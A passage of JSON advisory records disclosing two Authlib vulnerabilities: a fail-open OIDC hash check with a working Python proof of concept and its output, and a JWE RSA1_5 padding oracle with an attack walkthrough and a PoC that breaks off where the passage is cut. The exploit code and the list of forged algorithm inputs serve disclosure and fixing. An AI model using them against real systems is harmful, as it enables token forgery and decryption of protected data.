Fail-Open Cryptographic Verification in OIDC Hash Binding","description":"## 1. Executive Summary\n\nA critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm. \n\nThis flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.\n\n---\n\n## 2. Technical Details \u0026 Root Cause\n\nThe vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`:\n\n```python\ndef _verify_hash(signature, s, alg):\n    hash_value = create_half_hash(s, alg)\n    if not hash_value:        # ← VULNERABILITY: create_half_hash returns None for unknown algorithms\n        return True            # ← BYPASS: The verification silently passes\n    return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\nWhen an unsupported algorithm string (e.g., `\"XX999\"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`. \n\nHowever, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`. \n\nBecause developers rely on the standard `.validate()` method provided by Authlib's `IDToken` class—which internally calls this flawed function—there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability.\n\n---\n\n## 3. Attack Scenario\n\nThis vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**.\n\n1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one.\n2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{\"alg\": \"CUSTOM_ALG\"}`).\n3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.\n4. Authlib attempts to validate the `at_hash` or `c_hash` claims. \n5. Because `\"CUSTOM_ALG\"` is unsupported by `hashlib`, `create_half_hash` returns `None`.\n6. Authlib's `_verify_hash` receives `None` and silently returns `True`.\n7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.\n\n---\n\n## 4. Specification \u0026 Standards Violations\n\nThis explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters.\n\n**OpenID Connect Core 1.0**\n* **§ 3.2.2.9 (Access Token Validation):** \"If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim.\" Silencing the validation check natively contradicts this absolute requirement.\n* **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim.\n\n**IETF JSON Web Token (JWT) Best Current Practices (BCP)**\n* **RFC 8725 § 3.1.1:** \"Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected.\" Authlib's implementation effectively \"trusts\" the hash when it cannot verify the algorithm.\n\n**IETF JSON Web Signature (JWS)**\n* **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic.\n\n---\n\n## 5. Remediation Recommendation\n\nThe `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately.\n\n**Suggested Patch (`authlib/oidc/core/claims.py`):**\n\n```python\ndef _verify_hash(signature, s, alg):\n    hash_value = create_half_hash(s, alg)\n    if hash_value is None:\n        # FAIL-CLOSED: The algorithm is unsupported, reject the token.\n        return False\n    return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\n---\n\n## 6. Proof of Concept (PoC)\n\nThe following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash\n\n```bash\npython3 -m venv venv\nsource venv/bin/activate\npip install authlib cryptography\npython3 -c \"import authlib; print(authlib.__version__)\"\n# → 1.6.8\n```\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@title          OIDC at_hash / c_hash Verification Bypass\n@affected       authlib \u003c= 1.6.8\n@file           authlib/oidc/core/claims.py :: _verify_hash()\n@notice         _verify_hash() retorna True cuando create_half_hash() retorna\n                None (alg no soportado), causando Fail-Open en la verificacion\n                de binding entre ID Token y Access Token / Authorization Code.\n@dev            Reproduce el bypass directamente contra el codigo de authlib\n                sin mocks. Todas las llamadas son al modulo real instalado.\n\"\"\"\n\nimport hmac\nimport hashlib\nimport base64\nimport time\n\nimport authlib\nfrom authlib.common.encoding   import to_bytes\nfrom authlib.oidc.core.util    import create_half_hash\nfrom authlib.oidc.core.claims  import IDToken, HybridIDToken\nfrom authlib.oidc.core.claims  import _verify_hash as authlib_verify_hash\n\n# ─── helpers ──────────────────────────────────────────────────────────────────\n\nR   = \"\\033[0m\"\nRED = \"\\033[91m\"\nGRN = \"\\033[92m\"\nYLW = \"\\033[93m\"\nCYN = \"\\033[96m\"\nBLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\n\ndef header(title):\n    print(f\"\\n{CYN}{'─' * 64}{R}\")\n    print(f\"{BLD}{title}{R}\")\n    print(f\"{CYN}{'─' * 64}{R}\")\n\ndef ok(msg):   print(f\"  {GRN}[OK]      {R}{msg}\")\ndef fail(msg): print(f\"  {RED}[BYPASS]  {R}{BLD}{msg}{R}\")\ndef info(msg): print(f\"  {DIM}          {msg}{R}\")\n\ndef at_hash_correct(token: str, alg: str) -\u003e str:\n    \"\"\"\n    @notice  Computa at_hash segun OIDC Core 1.0 s3.2.2.9.\n    @param   token  Access token ASCII\n    @param   alg    Algoritmo del header del ID Token\n    @return  str    at_hash en Base64url sin padding\n    \"\"\"\n    fn = {\"256\": hashlib.sha256, \"384\": hashlib.sha384, \"512\": hashlib.sha512}\n    digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()\n    return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b\"=\").decode()\n\n\ndef _verify_hash_patched(signature: str, s: str, alg: str) -\u003e bool:\n    \"\"\"\n    @notice  Version corregida de _verify_hash() con semantica Fail-Closed.\n    @dev     Fix: `if not hash_value` -\u003e `if hash_value is None`\n             None es falsy en Python, pero b\"\" no lo es. El chequeo original\n             no distingue entre \"algoritmo no soportado\" y \"hash vacio\".\n    \"\"\"\n    hash_value = create_half_hash(s, alg)\n    if hash_value is None:\n        return False\n    return hmac.compare_digest(hash_value, to_bytes(signature))\n\n# ─── test 1: root cause ───────────────────────────────────────────────────────\n\ndef test_root_cause():\n    \"\"\"\n    @notice  Demuestra que create_half_hash() retorna None para alg desconocido\n             y que _verify_hash() interpreta ese None como verificacion exitosa.\n    \"\"\"\n    header(\"TEST 1 - Root Cause: create_half_hash() + _verify_hash()\")\n\n    token    = \"real_access_token_from_AS\"\n    fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n    alg      = \"CUSTOM_ALG\"\n\n    half_hash = create_half_hash(token, alg)\n    info(f\"create_half_hash(token, {alg!r})  -\u003e  {half_hash!r}  (None = alg no soportado)\")\n\n    result_vuln    = authlib_verify_hash(fake_sig, token, alg)\n    result_patched = _verify_hash_patched(fake_sig, token, alg)\n\n    print()\n    if result_vuln:\n        fail(f\"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}\")\n    else:\n        ok(f\"authlib _verify_hash() retorno False\")\n\n    if not result_patched:\n        ok(f\"_verify_hash_patched() retorno False (fail-closed correcto)\")\n    else:\n        fail(f\"_verify_hash_patched() retorno True\")\n\n# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────\n\ndef test_at_hash_bypass():\n    \"\"\"\n    @notice  Demuestra el bypass end-to-end en IDToken.validate_at_hash().\n             El atacante modifica el header alg del JWT a un valor no soportado.\n             validate_at_hash() no levanta excepcion -\u003e token aceptado.\n\n    @dev     Flujo real de authlib:\n               validate_at_hash() -\u003e _verify_hash(at_hash, access_token, alg)\n               -\u003e create_half_hash(access_token, \"CUSTOM_ALG\") -\u003e None\n               -\u003e `if not None` -\u003e True -\u003e no InvalidClaimError -\u003e BYPASS\n    \"\"\"\n    header(\"TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\")\n\n    real_token  = \"ya29.LEGITIMATE_token_from_real_AS\"\n    evil_token  = \"ya29.MALICIOUS_token_under_attacker_control\"\n    fake_at_hash = \"FAAAAAAAAAAAAAAAAAAAA\"\n\n    # --- caso A: token legitimo con alg correcto ---\n    correct_hash = at_hash_correct(real_token, \"RS256\")\n    token_legit  = IDToken(\n        {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n         \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n         \"at_hash\": correct_hash},\n        {\"access_token\": real_token}\n    )\n    token_legit.header = {\"alg\": \"RS256\"}\n\n    try:\n        token_legit.validate_at_hash()\n        ok(f\"Caso A (legitimo, RS256):  at_hash={correct_hash}  -\u003e  aceptado\")\n    except Exception as e:\n        fail(f\"Caso A rechazo el token legitimo: {e}\")\n\n    # --- caso B: token malicioso con alg forjado ---\n    token_forged = IDToken(\n        {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n         \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n         \"at_hash\": fake_at_hash},\n        {\"access_token\": evil_token}\n    )\n    token_forged.header = {\"alg\": \"CUSTOM_ALG\"}\n\n    try:\n        token_forged.validate_at_hash()\n        fail(f\"Caso B (atacante, alg=CUSTOM_ALG):  at_hash={fake_at_hash}  -\u003e  BYPASS exitoso\")\n        info(f\"access_token del atacante aceptado: {evil_token}\")\n    except Exception as e:\n        ok(f\"Caso B rechazado correctamente: {e}\")\n\n# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────\n\ndef test_c_hash_bypass():\n    \"\"\"\n    @notice  Mismo bypass pero para c_hash en Hybrid Flow.\n             Permite Authorization Code Substitution Attack.\n    @dev     OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.\n             Authlib la omite cuando el alg es desconocido.\n    \"\"\"\n    header(\"TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\")\n\n    real_code  = \"SplxlOBeZQQYbYS6WxSbIA\"\n    evil_code  = \"ATTACKER_FORGED_AUTH_CODE\"\n    fake_chash = \"ZZZZZZZZZZZZZZZZZZZZZZ\"\n\n    token = HybridIDToken(\n        {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n         \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n         \"nonce\": \"n123\", \"at_hash\": \"AAAA\", \"c_hash\": fake_chash},\n        {\"code\": evil_code, \"access_token\": \"sometoken\"}\n    )\n    token.header = {\"alg\": \"XX9999\"}\n\n    try:\n        token.validate_c_hash()\n        fail(f\"c_hash={fake_chash!r} aceptado con alg=XX9999 -\u003e Authorization Code Substitution posible\")\n        info(f\"code del atacante aceptado: {evil_code}\")\n    except Exception as e:\n        ok(f\"Rechazado correctamente: {e}\")\n\n# ─── test 4: superficie de ataque ─────────────────────────────────────────────\n\ndef test_attack_surface():\n    \"\"\"\n    @notice  Mapea todos los valores de alg que disparan el bypass.\n    @dev     create_half_hash hace: getattr(hashlib, f\"sha{alg[2:]}\", None)\n             Cualquier string que no resuelva a un atributo de hashlib -\u003e None -\u003e bypass.\n    \"\"\"\n    header(\"TEST 4 - Superficie de Ataque\")\n\n    token    = \"test_token\"\n    fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n\n    vectors = [\n        \"CUSTOM_ALG\", \"XX9999\", \"none\", \"None\", \"\", \"RS\", \"SHA256\",\n        \"HS0\", \"EdDSA256\", \"PS999\", \"RS 256\", \"../../../etc\", \"' OR '1'='1\",\n    ]\n\n    print(f\"  {'alg':\u003c22}  {'half_hash':\u003c10}  resultado\")\n    print(f\"  {'-'*22}  {'-'*10}  {'-'*20}\")\n\n    for alg in vectors:\n        hv     = create_half_hash(token, alg)\n        result = authlib_verify_hash(fake_sig, token, alg)\n        hv_str = \"None\" if hv is None else \"bytes\"\n        res_str = f\"{RED}BYPASS{R}\" if result else f\"{GRN}OK{R}\"\n        print(f\"  {alg!r:\u003c22}  {hv_str:\u003c10}  {res_str}\")\n\n# ─── main ─────────────────────────────────────────────────────────────────────\n\nif __name__ == \"__main__\":\n    print(f\"\\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}\")\n    print(f\"authlib/oidc/core/claims.py :: _verify_hash() \\n\")\n\n    test_root_cause()\n    test_at_hash_bypass()\n    test_c_hash_bypass()\n    test_attack_surface()\n\n    print(f\"\\n{DIM}Fix: `if not hash_value` -\u003e `if hash_value is None` en _verify_hash(){R}\\n\")\n```\n\n---\n\n## Output\n\n```bash\nuthlib 1.6.8 - OIDC Hash Verification Bypass PoC\nauthlib/oidc/core/claims.py :: _verify_hash() \n\n\n────────────────────────────────────────────────────────────────\nTEST 1 - Root Cause: create_half_hash() + _verify_hash()\n────────────────────────────────────────────────────────────────\n            create_half_hash(token, 'CUSTOM_ALG')  -\u003e  None  (None = alg no soportado)\n\n  [BYPASS]  authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'\n  [OK]      _verify_hash_patched() retorno False (fail-closed correcto)\n\n────────────────────────────────────────────────────────────────\nTEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\n────────────────────────────────────────────────────────────────\n  [OK]      Caso A (legitimo, RS256):  at_hash=gh_beqqliVkRPAXdOz2Gbw  -\u003e  aceptado\n  [BYPASS]  Caso B (atacante, alg=CUSTOM_ALG):  at_hash=FAAAAAAAAAAAAAAAAAAAA  -\u003e  BYPASS exitoso\n            access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control\n\n────────────────────────────────────────────────────────────────\nTEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\n────────────────────────────────────────────────────────────────\n  [BYPASS]  c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -\u003e Authorization Code Substitution posible\n            code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE\n\n────────────────────────────────────────────────────────────────\nTEST 4 - Superficie de Ataque\n────────────────────────────────────────────────────────────────\n  alg                     half_hash   resultado\n  ----------------------  ----------  --------------------\n  'CUSTOM_ALG'            None        BYPASS\n  'XX9999'                None        BYPASS\n  'none'                  None        BYPASS\n  'None'                  None        BYPASS\n  ''                      None        BYPASS\n  'RS'                    None        BYPASS\n  'SHA256'                None        BYPASS\n  'HS0'                   None        BYPASS\n  'EdDSA256'              None        BYPASS\n  'PS999'                 None        BYPASS\n  'RS 256'                None        BYPASS\n  '../../../etc'          None        BYPASS\n  \"' OR '1'='1\"           None        BYPASS\n\nFix: `if not hash_value` -\u003e `if hash_value is None` en _verify_hash()\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-16T16:15:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-m344-f55w-2m6j","https://github.com/authlib/authlib/commit/b9bb2b25bf8b7e01512d847a95c1749646eaa72b","https://github.com/authlib/authlib/releases/tag/v1.6.9","https://nvd.nist.gov/vuln/detail/CVE-2026-28498","https://github.com/advisories/GHSA-m344-f55w-2m6j"],"source_kind":"github","identifiers":["GHSA-m344-f55w-2m6j","CVE-2026-28498"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-16T17:00:09.540Z","updated_at":"2026-11-12T04:05:41.519Z","epss_percentage":0.00264,"epss_percentile":0.18526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMzQ0LWY1NXctMm02as4ABTt6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tMzQ0LWY1NXctMm02as4ABTt6","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.9","vulnerable_version_range":"\u003c= 1.6.8"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMzQ0LWY1NXctMm02as4ABTt6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NDMyLTk1MnItY3c3OM4ABTqE","url":"https://github.com/advisories/GHSA-7432-952r-cw78","title":"Authlib Vulnerable to JWE RSA1_5 Bleichenbacher Padding Oracle","description":"## 1. Executive Summary\n\nA cryptographic padding oracle vulnerability was identified in the Authlib Python library\nconcerning the implementation of the JSON Web Encryption (JWE) `RSA1_5` key management\nalgorithm. Authlib registers `RSA1_5` in its default algorithm registry without requiring\nexplicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that\nthe underlying `cryptography` library implements correctly.\n\nWhen `cryptography` encounters an invalid PKCS#1 v1.5 padding, it returns a randomized\nbyte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2.\nAuthlib ignores this contract and raises `ValueError('Invalid \"cek\" length')` immediately\nafter decryption, before reaching AES-GCM tag validation. This creates a clean, reliable\n**Exception Oracle**:\n\n- **Invalid padding** → `cryptography` returns random bytes → Authlib length check fails\n  → `ValueError: Invalid \"cek\" length`\n- **Valid padding, wrong MAC** → decryption succeeds → length check passes → AES-GCM\n  fails → `InvalidTag`\n\n**This oracle is active by default in every Authlib installation without any special\nconfiguration by the developer or the attacker.** The three most widely used Python web\nframeworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for\nthese two exception classes in their default configurations, requiring no additional\nsetup to exploit.\n\n**Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:**\n```\n[PADDING INVALIDO]     ValueError: Invalid \"cek\" length\n[PADDING VALIDO/MAC]   InvalidTag\n```\n\n---\n\n## 2. Technical Details \u0026 Root Cause\n\n### 2.1 Vulnerable Code\n\n**File:** `authlib/jose/rfc7518/jwe_algs.py`\n\n```python\ndef unwrap(self, enc_alg, ek, headers, key):\n    op_key = key.get_op_key(\"unwrapKey\")\n\n    # cryptography implements Bleichenbacher mitigation here:\n    # on invalid padding it returns random bytes instead of raising.\n    # Empirically confirmed: returns 84 bytes for a 2048-bit key.\n    cek = op_key.decrypt(ek, self.padding)\n\n    # VULNERABILITY: This length check destroys the mitigation.\n    # cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE).\n    # Authlib raises a distinct ValueError before AES-GCM is ever reached.\n    if len(cek) * 8 != enc_alg.CEK_SIZE:\n        raise ValueError('Invalid \"cek\" length')   # \u003c- ORACLE TRIGGER\n\n    return cek\n```\n\n### 2.2 Root Cause — Active Mitigation Destruction\n\n`cryptography` 46.0.5 implements the Bleichenbacher mitigation correctly at the library\nlevel. When PKCS#1 v1.5 padding validation fails, it does not raise an exception.\nInstead it returns a randomized byte string (empirically observed: 84 bytes for a\n2048-bit RSA key). The caller is expected to pass this fake key to the symmetric\ndecryptor, where MAC/tag validation will fail in constant time — producing an error\nindistinguishable from a MAC failure on a valid padding.\n\nAuthlib does not honor this contract. The length check on the following line detects\nthat 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises `ValueError('Invalid\n\"cek\" length')` immediately. This exception propagates before AES-GCM is ever reached,\ncreating two execution paths with observable differences:\n\n```\nPath A — invalid PKCS#1 v1.5 padding:\n  op_key.decrypt() -\u003e 84 random bytes  (cryptography mitigation active)\n  len(84) * 8 = 672 != 128            (CEK_SIZE for A128GCM)\n  raise ValueError('Invalid \"cek\" length')    \u003c- specific exception, fast path\n\nPath B — valid padding, wrong symmetric key:\n  op_key.decrypt() -\u003e 16 correct bytes\n  len(16) * 8 = 128 == 128            -\u003e length check passes\n  AES-GCM tag validation -\u003e mismatch\n  raise InvalidTag                            \u003c- different exception class, slow path\n```\n\nThe single line `raise ValueError('Invalid \"cek\" length')` is the complete root cause.\nRemoving the raise and replacing it with a silent random CEK fallback eliminates both\nthe exception oracle and any residual timing difference.\n\n### 2.3 Empirical Confirmation\n\n**All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64\nrunning the attached PoC (`poc_bleichenbacher.py`):**\n\n```\nTEST 1 - cryptography behavior on invalid padding:\n  cryptography retorno bytes: len=84\n  NOTA: esta version implementa mitigacion de random bytes\n\nTEST 2 - Exception Oracle:\n  [ORACLE]  Caso A (padding invalido):       ValueError: Invalid \"cek\" length\n  [OK]      Caso B (padding valido/MAC malo): InvalidTag\n\nTEST 3 - Timing (50 iterations):\n  Padding invalido (ValueError)   mean=1.500ms  stdev=1.111ms\n  Padding valido   (InvalidTag)   mean=1.787ms  stdev=0.978ms\n  Delta: 0.287ms\n\nTEST 4 - RSA1_5 in default registry:\n  [ORACLE]  RSA1_5 activo por defecto (no opt-in required)\n\nTEST 5 - Fix validation:\n  [OK]  Both paths return correct-length CEK after patch\n  [OK]  Exception type identical in both paths -\u003e oracle eliminated\n```\n\n**Note on timing:** The 0.287ms delta is within the noise margin (stdev ~1ms across\n50 iterations) and is not claimed as a reliable standalone timing oracle. The exception\noracle is the primary exploitable vector and does not require timing measurement.\n\n---\n\n## 3. Default Framework Behavior — Why This Is Exploitable Out of the Box\n\nA potential objection to this report is that middleware or custom error handlers could\nnormalize exceptions to a single HTTP response, eliminating the observable discrepancy.\nThis section addresses that objection directly.\n\n**The oracle is active in default configurations of all major Python web frameworks.**\nNo special server misconfiguration is required. The following demonstrates the default\nbehavior for Flask, Django, and FastAPI — the three most widely deployed Python web\nframeworks — when an unhandled exception propagates from a route handler:\n\n### Flask (default configuration)\n\n```python\n# Default Flask behavior — no error handler registered\n@app.route(\"/decrypt\", methods=[\"POST\"])\ndef decrypt():\n    token = request.json[\"token\"]\n    result = jwe.deserialize_compact(token, private_key)  # raises ValueError or InvalidTag\n    return jsonify(result)\n\n# ValueError: Invalid \"cek\" length  -\u003e HTTP 500, body: {\"message\": \"Invalid \\\"cek\\\" length\"}\n# InvalidTag                         -\u003e HTTP 500, body: {\"message\": \"\"}\n# The exception MESSAGE is different even if the status code is the same.\n```\n\nFlask's default error handler returns the exception message in the response body for\ndebug mode, and an empty 500 for production. However, even in production, the response\nbody content differs between `ValueError` (which has a message) and `InvalidTag`\n(which has no message), leaking the oracle through response body length.\n\n### FastAPI (default configuration)\n\n```python\n# FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body\n# ValueError: Invalid \"cek\" length  -\u003e {\"detail\": \"Internal Server Error\"}  (HTTP 500)\n# InvalidTag                         -\u003e {\"detail\": \"Internal Server Error\"}  (HTTP 500)\n```\n\nFastAPI normalizes both to HTTP 500 in production. However, FastAPI's default\n`RequestValidationError` and `HTTPException` handlers do not catch arbitrary exceptions,\nso the distinguishable stack trace is logged — and in many deployments, error monitoring\ntools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle\nexploitation by an insider or via log exfiltration.\n\n### Django REST Framework (default configuration)\n\n```python\n# DRF's default exception handler only catches APIException and Http404.\n# ValueError and InvalidTag both fall through to Django's generic 500 handler.\n# In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).\n# In DEBUG=True:  HTTP 500, full traceback including exception class (oracle exposed).\n```\n\n**Summary:** Even in cases where HTTP status codes are normalized, the oracle persists\nthrough response body differences, response timing, or error monitoring infrastructure.\nThe RFC 3218 §2.3.2 requirement exists precisely because any observable difference —\nregardless of channel — is sufficient for a Bleichenbacher attack. The library is\nresponsible for eliminating the discrepancy at the source, not delegating that\nresponsibility to application developers.\n\n**This is a library-level vulnerability.** Requiring every application developer to\nimplement custom exception normalization to compensate for a cryptographic flaw in\nthe library violates the principle of secure defaults. The fix must be in Authlib.\n\n---\n\n## 4. Specification Violations\n\n### RFC 3218 — Preventing the Million Message Attack on CMS\n\n**Section 2.3.2 (Mitigation):**\n\u003e \"The receiver MUST NOT return any information that indicates whether the decryption\n\u003e failed because the PKCS #1 padding was incorrect or because the MAC was incorrect.\"\n\nThis is an absolute requirement with no exceptions for \"application-level mitigations.\"\nAuthlib violates this by raising a different exception class for padding failures than\nfor MAC failures. The `cryptography` library already implements the correct mitigation\nfor this exact scenario — Authlib destroys it with a single length check.\n\n### RFC 7516 — JSON Web Encryption\n\n**Section 9 (Security Considerations):**\n\u003e \"An attacker who can cause a JWE decryption to fail in different ways based on the\n\u003e structure of the encrypted key can mount a Bleichenbacher attack.\"\n\nAuthlib enables exactly this scenario. Two structurally different encrypted keys\n(one with invalid padding, one with valid padding but wrong CEK) produce two different\nexception classes. This is the exact condition RFC 7516 §9 warns against.\n\n---\n\n## 5. Attack Scenario\n\n1. The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens.\n   Because `RSA1_5` is in the default registry, **no special server configuration\n   is required**.\n\n2. The attacker obtains the server RSA public key — typically available via the\n   JWKS endpoint (`/.well-known/jwks.json`), which is standard in OIDC deployments.\n\n3. The attacker crafts JWE tokens with the `RSA1_5` algorithm and submits a stream\n   of requests to the endpoint, manipulating the `ek` component per Bleichenbacher's\n   algorithm.\n\n4. The server responds with observable differences between the two paths:\n   - `ValueError` path → distinguishable response (exception message, timing, or\n     error monitoring artifact)\n   - `InvalidTag` path → different distinguishable response\n\n5. By observing these oracle responses across thousands of requests, the attacker\n   geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is\n   fully recovered.\n\n6. With the CEK recovered:\n   - Any intercepted JWE payload can be decrypted without the RSA private key.\n   - New valid JWE tokens can be forged using the recovered CEK.\n\n**Prerequisites:**\n- Target endpoint accepts JWE tokens with `RSA1_5` (active by default)\n- Any observable difference exists between the two error paths at the HTTP layer\n  (present by default in Flask, Django, FastAPI without custom error handling)\n- Attacker can send requests at sufficient volume (rate limiting may extend attack\n  duration but does not prevent it)\n\n---\n\n## 6. Remediation\n\n### 6.1 Immediate — Remove RSA1_5 from Default Registry\n\nRemove `RSA1_5` from the default `JWE_ALG_ALGORITHMS` registry. Users requiring\nlegacy RSA1_5 support should explicitly opt-in with a documented security warning.\nThis eliminates the attack surface for all users not requiring this algorithm.\n\n### 6.2 Code Fix — Restore Constant-Time Behavior\n\nThe `unwrap` method must never raise an exception that distinguishes padding failure\nfrom MAC failure. The length check must be replaced with a silent random CEK fallback,\npreserving the mitigation that `cryptography` implements.\n\n**Suggested Patch (`authlib/jose/rfc7518/jwe_algs.py`):**\n\n```python\nimport os\n\ndef unwrap(self, enc_alg, ek, headers, key):\n    op_key = key.get_op_key(\"unwrapKey\")\n    expected_bytes = enc_alg.CEK_SIZE // 8\n\n    try:\n        cek = op_key.decrypt(ek, self.padding)\n    except ValueError:\n        # Padding failure. Use random CEK so failure occurs downstream\n        # during MAC validation — not here. This preserves RFC 3218 §2.3.2.\n        cek = os.urandom(expected_bytes)\n\n    # Silent length enforcement — no exception.\n    # cryptography returns random bytes of RSA block size on padding failure.\n    # Replace with correct-size random CEK to allow downstream MAC to fail.\n    # Raising here recreates the oracle. Do not raise.\n    if len(cek) != expected_bytes:\n        cek = os.urandom(expected_bytes)\n\n    return cek\n```\n\n**Result:** Both paths return a CEK of the correct length. AES-GCM tag validation\nfails for both, producing `InvalidTag` in both cases. The exception oracle is\neliminated. Empirically validated via TEST 5 of the attached PoC.\n\n---\n\n## 7. Proof of Concept\n\n**Setup:**\n```bash\npython3 -m venv venv \u0026\u0026 source venv/bin/activate\npip install authlib cryptography\npython3 -c \"import authlib, cryptography; print(authlib.__version__, cryptography.__version__)\"\n# authlib 1.6.8  cryptography 46.0.5\npython3 poc_bleichenbacher.py\n```\n\nSee attached `poc_bleichenbacher.py`. All 5 tests run against the real installed\nauthlib module without mocks.\n\n**Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64):**\n\n### Code\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@title          JWE RSA1_5 Bleichenbacher Padding Oracle\n@affected       authlib \u003c= 1.6.8\n@file           authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()\n\"\"\"\n\nimport os\nimport time\nimport statistics\n\nimport authlib\nimport cryptography\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding\nfrom authlib.jose import JsonWebEncryption\nfrom authlib.common.encoding import urlsafe_b64encode, to_bytes\n\nR   = \"\\033[0m\"\nRED = \"\\033[91m\"\nGRN = \"\\033[92m\"\nYLW = \"\\033[93m\"\nCYN = \"\\033[96m\"\nBLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\n\ndef header(title):\n    print(f\"\\n{CYN}{'-' * 64}{R}\")\n    print(f\"{BLD}{title}{R}\")\n    print(f\"{CYN}{'-' * 64}{R}\")\n\ndef ok(msg):    print(f\"  {GRN}[OK]      {R}{msg}\")\ndef vuln(msg):  print(f\"  {RED}[ORACLE]  {R}{BLD}{msg}{R}\")\ndef info(msg):  print(f\"  {DIM}          {msg}{R}\")\n\n\n# ─── setup ────────────────────────────────────────────────────────────────────\n\ndef setup():\n    \"\"\"\n    @notice  Genera el par de claves RSA y prepara el cliente JWE de authlib.\n    @dev     JsonWebEncryption() registra RSA1_5 por defecto en su registry.\n             No se requiere configuracion adicional para habilitar el algoritmo\n             vulnerable — esta activo out of the box.\n    